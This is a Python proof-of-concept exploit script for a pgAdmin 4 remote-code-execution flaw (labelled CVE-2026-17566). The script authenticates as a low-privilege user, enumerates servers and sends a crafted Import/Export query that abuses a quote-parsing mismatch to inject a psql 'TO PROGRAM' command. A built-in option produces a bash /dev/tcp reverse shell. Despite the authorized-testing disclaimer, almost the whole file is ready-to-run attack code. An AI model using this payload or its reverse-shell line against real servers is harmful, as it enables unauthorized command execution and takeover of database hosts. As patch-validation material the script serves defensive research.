#!/usr/bin/env python3 # -*- coding: utf-8 -*- # DISCLAIMER: archived for authorized security research and patch validation # only. Do not run this against systems you do not own or lack explicit written # permission to test. The payload executes commands on the pgAdmin host. """ pgAdmin 4 Import/Export Data RCE - CVE-2026-17566 PoC (chain context: CVE-2026-17349 credential leak -> CVE-2026-17351 read-only bypass -> CVE-2026-17566 RCE) Author: HackSpeak (security research distribution) Based on: public technical analysis only. - pgadmin-org/pgadmin4 issue #10213 (root cause: _is_query_parens_balanced() backslash-escape semantics mismatch with psql's standard_conforming_strings=on default) - OpenCVE / NVD CVE-2026-17566, CVSS 9.9 - Fix commit 1496fabe (rejects backslash inside single-quoted string) NOT TESTED against a live instance - faithful implementation of the documented request path and payload. Request body field names may need minor adjustment per the exact pgAdmin 4 version you test against. Intended for authorized security testing and patch validation ONLY. """ from __future__ import annotations import argparse import http.cookiejar import json import re import ssl import sys import urllib.error import urllib.parse import urllib.request TIMEOUT = 30.0 UA = "pgadmin-rce-poc/1.0" class PgAdminExploit: def __init__(self, base_url: str, username: str, password: str, no_verify: bool = False) -> None: self.base = base_url.rstrip("/") self.user = username self.password = password self.cj = http.cookiejar.CookieJar() ctx = ssl.create_default_context() if no_verify: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE self.opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(self.cj), urllib.request.HTTPSHandler(context=ctx), ) def _request(self, method: str, path: str, data=None, headers=None): req = urllib.request.Request( self.base + path, data=data, method=method, headers=headers or {"User-Agent": UA}, ) try: with self.opener.open(req, timeout=TIMEOUT) as r: return r.status, r.read() except urllib.error.HTTPError as exc: return exc.code, exc.read() # ---- auth ---------------------------------------------------------------- def login(self) -> None: """pgAdmin Flask login: GET /login for CSRF token, then POST credentials.""" status, html = self._request("GET", "/login") if status != 200: raise RuntimeError(f"GET /login -> HTTP {status}") m = re.search(rb'name="_form_token"[^>]*value="([^"]+)"', html) if not m: # some versions put the token attribute order differently m = re.search(rb'value="([^"]+)"[^>]*name="_form_token"', html) if not m: raise RuntimeError("could not locate _form_token in login page") token = m.group(1).decode("utf-8") form = urllib.parse.urlencode({ "username": self.user, "password": self.password, "_form_token": token, "next": "/", }).encode() status, body = self._request("POST", "/login", data=form, headers={ "Content-Type": "application/x-www-form-urlencoded", "User-Agent": UA, "Referer": self.base + "/login", }) if status not in (200, 302, 303): raise RuntimeError(f"POST /login -> HTTP {status}") # logged-in check: /login redirects away or a session cookie is present sess = any(c.name.startswith("pga4_session") for c in self.cj) if not sess and b"login" in (body or b"").lower(): raise RuntimeError("login failed (bad credentials?)") # ---- recon --------------------------------------------------------------- def list_servers(self): """Return a list of server dicts from the browser tree.""" status, body = self._request("GET", "/browser/servers") if status != 200: raise RuntimeError(f"GET /browser/servers -> HTTP {status}") try: j = json.loads(body) except json.JSONDecodeError as exc: raise RuntimeError(f"invalid JSON from /browser/servers: {exc}") from exc data = j.get("data") if isinstance(j, dict) else None if isinstance(data, list): return [d for d in data if isinstance(d, dict)] if isinstance(data, dict) and "children" in data: return [d for d in data["children"] if isinstance(d, dict)] return [] # ---- payload ------------------------------------------------------------- @staticmethod def build_query(command: str) -> str: """Inject a live psql \\copy ... TO PROGRAM clause. The checker (_is_query_parens_balanced) treats \\' as an escaped quote and believes the ')' below is still inside a string; psql with standard_conforming_strings=on treats the backslash as a literal character, so the single quote after 'a\\' closes the string and the ')' ends the \\copy (...) wrapper, exposing TO PROGRAM ''. """ # NB: the Python literal below contains a single backslash before the # closing quote of 'a\'; json.dumps() will emit it as \\ in the JSON body, # so the server receives the literal backslash required for the differential. return "SELECT 'a\\') TO PROGRAM '%s' x'" % command # ---- trigger ------------------------------------------------------------- def trigger(self, sid: int, command: str, outfile: str) -> int: """POST /import_export/job/ with the crafted query export.""" body = { "is_query_export": True, "query": self.build_query(command), "format": "csv", "delimiter": ",", "quote": '"', "escape": "\\", "encoding": "UTF8", "header": True, "rows_to_skip": 0, "export_all_query_data": True, "file_name": outfile, "on_conflict": "ignore", } raw = json.dumps(body).encode() status, resp = self._request( "POST", f"/import_export/job/{sid}", data=raw, headers={ "Content-Type": "application/json", "User-Agent": UA, "Referer": self.base + f"/import_export", }, ) return status def main() -> int: ap = argparse.ArgumentParser( description="pgAdmin 4 Import/Export RCE (CVE-2026-17566) - authorized testing only" ) ap.add_argument("--url", required=True, help="pgAdmin base URL, e.g. https://127.0.0.1:5050") ap.add_argument("--user", required=True, help="low-privilege pgAdmin username") ap.add_argument("--password", default=None, help="password (or env PGADMIN_PASSWORD)") cmd = ap.add_mutually_exclusive_group() cmd.add_argument("--command", help="arbitrary command to run (no single quotes)") cmd.add_argument("--reverse", metavar="HOST:PORT", help="build a bash reverse shell") ap.add_argument("--server-id", type=int, help="server id (default: auto-pick first)") ap.add_argument("--file", default="/tmp/pgadmin_export.csv", help="server-side export file name used in the \\copy command") ap.add_argument("--no-verify", action="store_true", help="disable TLS verification") args = ap.parse_args() password = args.password if not password: import os password = os.environ.get("PGADMIN_PASSWORD") if not password: ap.error("password required via --password or PGADMIN_PASSWORD") if args.reverse: host, _, port = args.reverse.partition(":") if not port: ap.error("--reverse must be HOST:PORT") command = f"bash -i >& /dev/tcp/{host}/{port} 0>&1" else: command = args.command or "id > /tmp/pgadmin_rce_proof" print(f"[*] targeting {args.url} as {args.user}") exp = PgAdminExploit(args.url, args.user, password, no_verify=args.no_verify) print("[*] authenticating...") exp.login() print("[+] login ok") if args.server_id is None: servers = exp.list_servers() if not servers: raise SystemExit("[-] no servers found for this user; pass --server-id") sid = servers[0].get("id") print(f"[+] auto-picked server id={sid} label={servers[0].get('label')!r}") else: sid = args.server_id print(f"[*] sending crafted \\copy payload (command={command!r})") status = exp.trigger(sid, command, args.file) print(f"[+] POST /import_export/job/{sid} -> HTTP {status}") if status in (200, 201, 202): print("[+] job accepted. If a reverse shell was requested, check your listener.") print("[*] for a benign probe, run: --command 'id > /tmp/pgadmin_rce_proof'") else: print("[-] job rejected; the target may be patched or the request fields differ.") return 0 if __name__ == "__main__": try: raise SystemExit(main()) except Exception as exc: # noqa: BLE001 print(f"[-] error: {exc}") raise SystemExit(1)